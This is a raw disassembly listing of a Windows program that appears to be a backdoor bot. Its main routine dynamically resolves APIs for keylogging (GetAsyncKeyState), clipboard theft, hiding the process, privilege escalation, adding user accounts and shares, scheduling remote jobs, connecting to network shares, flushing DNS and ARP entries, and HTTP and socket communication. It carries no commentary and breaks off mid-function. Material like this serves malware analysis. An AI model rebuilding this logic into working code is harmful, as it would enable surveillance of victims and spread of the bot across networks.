		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_424F1C[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_40E41E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_403BFB
		push	offset dword_4271C0
		call	dword_41A098	; RtlDeleteCriticalSection


loc_403BFB:				; CODE XREF: sub_4039C6+228j
		push	[ebp+var_2C]
		call	sub_40E4F2
		pop	ecx
		push	ebx
		call	dword_41A084	; ExitThread


loc_403C0B:				; CODE XREF: sub_4039C6+19Ej
					; sub_4039C6+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_424F1C[eax*8], 1
		jnz	loc_403B76
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_403C0B
sub_4039C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C25	proc near		; CODE XREF: sub_409034+48p
		push	ebx
		push	ebp
		mov	ebp, dword_41A0A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_41A0A0
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_403D45
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4273C0, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_427334, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_427318, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_427234, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4271E0, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_427210, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_427284, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_427374, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4273D0, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_427240, eax
		call	esi	; GetProcAddress
		cmp	dword_4273C0, ebx
		mov	dword_427228, eax
		jz	short loc_403D23
		cmp	dword_427334, ebx
		jz	short loc_403D23
		cmp	dword_427318, ebx
		jz	short loc_403D23
		cmp	dword_427234, ebx
		jz	short loc_403D23
		cmp	dword_427210, ebx
		jz	short loc_403D23
		cmp	dword_427284, ebx
		jz	short loc_403D23
		cmp	dword_427374, ebx
		jz	short loc_403D23
		cmp	dword_4273D0, ebx
		jz	short loc_403D23
		cmp	dword_427240, ebx
		jz	short loc_403D23
		cmp	eax, ebx
		jnz	short loc_403D2D


loc_403D23:				; CODE XREF: sub_403C25+B8j
					; sub_403C25+C0j ...
		mov	dword_4273D4, 1


loc_403D2D:				; CODE XREF: sub_403C25+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_42734C, eax
		jz	short loc_403D5A
		push	1
		push	ebx
		call	eax
		jmp	short loc_403D5A
; ---------------------------------------------------------------------------


loc_403D45:				; CODE XREF: sub_403C25+1Dj
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_4273D8, eax
		mov	dword_4273D4, 1


loc_403D5A:				; CODE XREF: sub_403C25+117j
					; sub_403C25+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_41A09C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_403E6F
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_427370, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_427320, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4272B4, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4273C4, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4272E4, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_427304, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_427368, eax
		call	esi	; GetProcAddress
		cmp	dword_427370, ebx
		mov	dword_42725C, eax
		jz	short loc_403E13
		cmp	dword_427320, ebx
		jz	short loc_403E13
		cmp	dword_4272B4, ebx
		jz	short loc_403E13
		cmp	dword_4273C4, ebx
		jz	short loc_403E13
		cmp	dword_4272E4, ebx
		jz	short loc_403E13
		cmp	dword_427304, ebx
		jz	short loc_403E13
		cmp	dword_427368, ebx
		jz	short loc_403E13
		cmp	eax, ebx
		jnz	short loc_403E1D


loc_403E13:				; CODE XREF: sub_403C25+1B8j
					; sub_403C25+1C0j ...
		mov	dword_4273DC, 1


loc_403E1D:				; CODE XREF: sub_403C25+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4272E0, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4271F4, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4272B0, eax
		call	esi	; GetProcAddress
		cmp	dword_4272E0, ebx
		mov	dword_42729C, eax
		jz	short loc_403E7A
		cmp	dword_4271F4, ebx
		jz	short loc_403E7A
		cmp	dword_4272B0, ebx
		jz	short loc_403E7A
		cmp	eax, ebx
		jnz	short loc_403E84
		jmp	short loc_403E7A
; ---------------------------------------------------------------------------


loc_403E6F:				; CODE XREF: sub_403C25+144j
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_4273E0, eax


loc_403E7A:				; CODE XREF: sub_403C25+232j
					; sub_403C25+23Aj ...
		mov	dword_4273DC, 1


loc_403E84:				; CODE XREF: sub_403C25+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40401F
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_427384, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4272C8, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_427338, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_427220, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_427280, eax
		call	esi	; GetProcAddress
		cmp	dword_427384, ebx
		mov	dword_4272F0, eax
		jz	short loc_403F0F
		cmp	dword_4272C8, ebx
		jz	short loc_403F0F
		cmp	dword_427338, ebx
		jz	short loc_403F0F
		cmp	dword_427220, ebx
		jz	short loc_403F0F
		cmp	dword_427280, ebx
		jz	short loc_403F0F
		cmp	eax, ebx
		jnz	short loc_403F19


loc_403F0F:				; CODE XREF: sub_403C25+2C4j
					; sub_403C25+2CCj ...
		mov	dword_4273E4, 1


loc_403F19:				; CODE XREF: sub_403C25+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4272F8, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4272D0, eax
		call	esi	; GetProcAddress
		cmp	dword_4272F8, ebx
		mov	dword_427380, eax
		jz	short loc_403F54
		cmp	dword_4272D0, ebx
		jz	short loc_403F54
		cmp	eax, ebx
		jnz	short loc_403F5E


loc_403F54:				; CODE XREF: sub_403C25+321j
					; sub_403C25+329j
		mov	dword_4273E4, 1


loc_403F5E:				; CODE XREF: sub_403C25+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_427308, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4271FC, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_427204, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_427264, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_427268, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_427218, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4272D4, eax
		call	esi	; GetProcAddress
		cmp	dword_427308, ebx
		mov	dword_427208, eax
		jz	short loc_404002
		cmp	dword_4271FC, ebx
		jz	short loc_404002
		cmp	dword_427204, ebx
		jz	short loc_404002
		cmp	dword_427264, ebx
		jz	short loc_404002
		cmp	dword_427268, ebx
		jz	short loc_404002
		cmp	dword_427218, ebx
		jz	short loc_404002
		cmp	dword_4272D4, ebx
		jz	short loc_404002
		cmp	eax, ebx
		jnz	short loc_40400C


loc_404002:				; CODE XREF: sub_403C25+3A7j
					; sub_403C25+3AFj ...
		mov	dword_4273E4, 1


loc_40400C:				; CODE XREF: sub_403C25+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_427200, eax
		jnz	short loc_404034
		jmp	short loc_40402A
; ---------------------------------------------------------------------------


loc_40401F:				; CODE XREF: sub_403C25+26Aj
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_4273E8, eax


loc_40402A:				; CODE XREF: sub_403C25+3F8j
		mov	dword_4273E4, 1


loc_404034:				; CODE XREF: sub_403C25+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404100
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_427300, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_427358, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_427360, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_42731C, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_427244, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4271F0, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_42735C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4271DC, eax
		call	esi	; GetProcAddress
		cmp	dword_427300, ebx
		mov	dword_427278, eax
		jz	short loc_40410B
		cmp	dword_427358, ebx
		jz	short loc_40410B
		cmp	dword_427360, ebx
		jz	short loc_40410B
		cmp	dword_42731C, ebx
		jz	short loc_40410B
		cmp	dword_427244, ebx
		jz	short loc_40410B
		cmp	dword_4271F0, ebx
		jz	short loc_40410B
		cmp	dword_42735C, ebx
		jz	short loc_40410B
		cmp	dword_4271DC, ebx
		jz	short loc_40410B
		cmp	eax, ebx
		jnz	short loc_404115
		jmp	short loc_40410B
; ---------------------------------------------------------------------------


loc_404100:				; CODE XREF: sub_403C25+41Aj
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_4273F0, eax


loc_40410B:				; CODE XREF: sub_403C25+49Bj
					; sub_403C25+4A3j ...
		mov	dword_4273EC, 1


loc_404115:				; CODE XREF: sub_403C25+4D7j
		mov	ebp, dword_41A09C
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4043D1
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_42728C, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4273B8, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_427230, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_42720C, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4272C0, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4272A8, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_427274, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_427394, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4273B0, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4272BC, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4273A0, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_427354, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_427314, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_427310, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_427250, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_427248, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_427364, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_427378, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_42732C, eax
		call	esi	; GetProcAddress
		mov	dword_4272EC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_427340, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4272FC, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_42733C, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4273A8, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4272F4, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4272B8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_427328, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_427398, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4272CC, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_427270, eax
		call	esi	; GetProcAddress
		cmp	dword_42728C, ebx
		mov	dword_4273AC, eax
		jz	loc_4043DC
		cmp	dword_4273B8, ebx
		jz	loc_4043DC
		cmp	dword_427230, ebx
		jz	loc_4043DC
		cmp	dword_4272C0, ebx
		jz	loc_4043DC
		cmp	dword_4272A8, ebx
		jz	loc_4043DC
		cmp	dword_427274, ebx
		jz	loc_4043DC
		cmp	dword_427394, ebx
		jz	loc_4043DC
		cmp	dword_4273B0, ebx
		jz	loc_4043DC
		cmp	dword_4272BC, ebx
		jz	loc_4043DC
		cmp	dword_4273A0, ebx
		jz	loc_4043DC
		cmp	dword_427354, ebx
		jz	loc_4043DC
		cmp	dword_427314, ebx
		jz	loc_4043DC
		cmp	dword_427310, ebx
		jz	loc_4043DC
		cmp	dword_427250, ebx
		jz	short loc_4043DC
		cmp	dword_427364, ebx
		jz	short loc_4043DC
		cmp	dword_427378, ebx
		jz	short loc_4043DC
		cmp	dword_42732C, ebx
		jz	short loc_4043DC
		cmp	dword_4272EC, ebx
		jz	short loc_4043DC
		cmp	dword_427340, ebx
		jz	short loc_4043DC
		cmp	dword_4272FC, ebx
		jz	short loc_4043DC
		cmp	dword_42733C, ebx
		jz	short loc_4043DC
		cmp	dword_4273A8, ebx
		jz	short loc_4043DC
		cmp	dword_4272F4, ebx
		jz	short loc_4043DC
		cmp	dword_4272B8, ebx
		jz	short loc_4043DC
		cmp	dword_427328, ebx
		jz	short loc_4043DC
		cmp	dword_427398, ebx
		jz	short loc_4043DC
		cmp	dword_4272CC, ebx
		jz	short loc_4043DC
		cmp	eax, ebx
		jnz	short loc_4043E6
		jmp	short loc_4043DC
; ---------------------------------------------------------------------------


loc_4043D1:				; CODE XREF: sub_403C25+501j
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_4273F8, eax


loc_4043DC:				; CODE XREF: sub_403C25+6A0j
					; sub_403C25+6ACj ...
		mov	dword_4273F4, 1


loc_4043E6:				; CODE XREF: sub_403C25+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4044EB
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_427258, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4271E4, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4272DC, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_427290, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4272E8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4272AC, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_427224, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_42721C, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_42722C, eax
		call	esi	; GetProcAddress
		cmp	dword_427258, ebx
		mov	ecx, dword_4272AC
		mov	dword_427348, eax
		jz	short loc_4044C7
		cmp	dword_4271E4, ebx
		jz	short loc_4044C7
		cmp	dword_4272DC, ebx
		jz	short loc_4044C7
		cmp	dword_427290, ebx
		jz	short loc_4044C7
		cmp	dword_4272E8, ebx
		jz	short loc_4044C7
		cmp	ecx, ebx
		jz	short loc_4044C7
		cmp	dword_427224, ebx
		jz	short loc_4044C7
		cmp	dword_42721C, ebx
		jz	short loc_4044C7
		cmp	dword_42722C, ebx
		jz	short loc_4044C7
		cmp	eax, ebx
		jnz	short loc_4044D1


loc_4044C7:				; CODE XREF: sub_403C25+860j
					; sub_403C25+868j ...
		mov	dword_4273FC, 1


loc_4044D1:				; CODE XREF: sub_403C25+8A0j
		cmp	ecx, ebx
		jz	short loc_404506
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4272C4, eax
		jnz	short loc_404506
		jmp	short loc_404500
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_403C25+7CCj
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_427400, eax
		mov	dword_4273FC, 1


loc_404500:				; CODE XREF: sub_403C25+8C4j
		mov	dword_4272C4, ebx


loc_404506:				; CODE XREF: sub_403C25+8AEj
					; sub_403C25+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_404550
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4272A0, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4273CC, eax
		call	esi	; GetProcAddress
		cmp	dword_4272A0, ebx
		mov	dword_427238, eax
		jz	short loc_40455B
		cmp	dword_4273CC, ebx
		jz	short loc_40455B
		cmp	eax, ebx
		jnz	short loc_404565
		jmp	short loc_40455B
; ---------------------------------------------------------------------------


loc_404550:				; CODE XREF: sub_403C25+8ECj
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_427408, eax


loc_40455B:				; CODE XREF: sub_403C25+91Bj
					; sub_403C25+923j ...
		mov	dword_427404, 1


loc_404565:				; CODE XREF: sub_403C25+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40465B
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_427214, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4271EC, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_427260, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_427294, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4273A4, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_42724C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4271F8, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4271E8, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_42727C, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_42736C, eax
		call	esi	; GetProcAddress
		cmp	dword_427214, ebx
		mov	dword_427324, eax
		jz	short loc_404666
		cmp	dword_4271EC, ebx
		jz	short loc_404666
		cmp	dword_427260, ebx
		jz	short loc_404666
		cmp	dword_427294, ebx
		jz	short loc_404666
		cmp	dword_4273A4, ebx
		jz	short loc_404666
		cmp	dword_42724C, ebx
		jz	short loc_404666
		cmp	dword_4271F8, ebx
		jz	short loc_404666
		cmp	dword_4271E8, ebx
		jz	short loc_404666
		cmp	dword_42727C, ebx
		jz	short loc_404666
		cmp	dword_42736C, ebx
		jz	short loc_404666
		cmp	eax, ebx
		jnz	short loc_404670
		jmp	short loc_404666
; ---------------------------------------------------------------------------


loc_40465B:				; CODE XREF: sub_403C25+94Bj
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_427410, eax


loc_404666:				; CODE XREF: sub_403C25+9E6j
					; sub_403C25+9EEj ...
		mov	dword_42740C, 1


loc_404670:				; CODE XREF: sub_403C25+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4046A5
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_42723C, eax
		call	esi	; GetProcAddress
		cmp	dword_42723C, ebx
		mov	dword_42730C, eax
		jz	short loc_4046B0
		cmp	eax, ebx
		jnz	short loc_4046BA
		jmp	short loc_4046B0
; ---------------------------------------------------------------------------


loc_4046A5:				; CODE XREF: sub_403C25+A56j
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_427418, eax


loc_4046B0:				; CODE XREF: sub_403C25+A78j
					; sub_403C25+A7Ej
		mov	dword_427414, 1


loc_4046BA:				; CODE XREF: sub_403C25+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4046EF
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_427390, eax
		call	esi	; GetProcAddress
		cmp	dword_427390, ebx
		mov	dword_42738C, eax
		jz	short loc_4046FA
		cmp	eax, ebx
		jnz	short loc_404704
		jmp	short loc_4046FA
; ---------------------------------------------------------------------------


loc_4046EF:				; CODE XREF: sub_403C25+AA0j
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_427420, eax


loc_4046FA:				; CODE XREF: sub_403C25+AC2j
					; sub_403C25+AC8j
		mov	dword_42741C, 1


loc_404704:				; CODE XREF: sub_403C25+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_404763
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4273BC, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4273B4, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_42737C, eax
		call	esi	; GetProcAddress
		cmp	dword_4273BC, ebx
		mov	dword_427254, eax
		jz	short loc_40476E
		cmp	dword_4273B4, ebx
		jz	short loc_40476E
		cmp	dword_42737C, ebx
		jz	short loc_40476E
		cmp	eax, ebx
		jnz	short loc_404778
		jmp	short loc_40476E
; ---------------------------------------------------------------------------


loc_404763:				; CODE XREF: sub_403C25+AEAj
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_427428, eax


loc_40476E:				; CODE XREF: sub_403C25+B26j
					; sub_403C25+B2Ej ...
		mov	dword_427424, 1


loc_404778:				; CODE XREF: sub_403C25+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4047AD
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_427288, eax
		call	esi	; GetProcAddress
		cmp	dword_427288, ebx
		mov	dword_427388, eax
		jz	short loc_4047B8
		cmp	eax, ebx
		jnz	short loc_4047C2
		jmp	short loc_4047B8
; ---------------------------------------------------------------------------


loc_4047AD:				; CODE XREF: sub_403C25+B5Ej
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_427430, eax


loc_4047B8:				; CODE XREF: sub_403C25+B80j
					; sub_403C25+B86j
		mov	dword_42742C, 1


loc_4047C2:				; CODE XREF: sub_403C25+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40484B
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_427350, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_42739C, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4272D8, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_427298, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_427330, eax
		call	esi	; GetProcAddress
		cmp	dword_427350, ebx
		mov	dword_4272A4, eax
		jz	short loc_404856
		cmp	dword_42739C, ebx
		jz	short loc_404856
		cmp	dword_4272D8, ebx
		jz	short loc_404856
		cmp	dword_427298, ebx
		jz	short loc_404856
		cmp	dword_427330, ebx
		jz	short loc_404856
		cmp	eax, ebx
		jnz	short loc_404860
		jmp	short loc_404856
; ---------------------------------------------------------------------------


loc_40484B:				; CODE XREF: sub_403C25+BA8j
		call	dword_41A07C	; RtlGetLastWin32Error
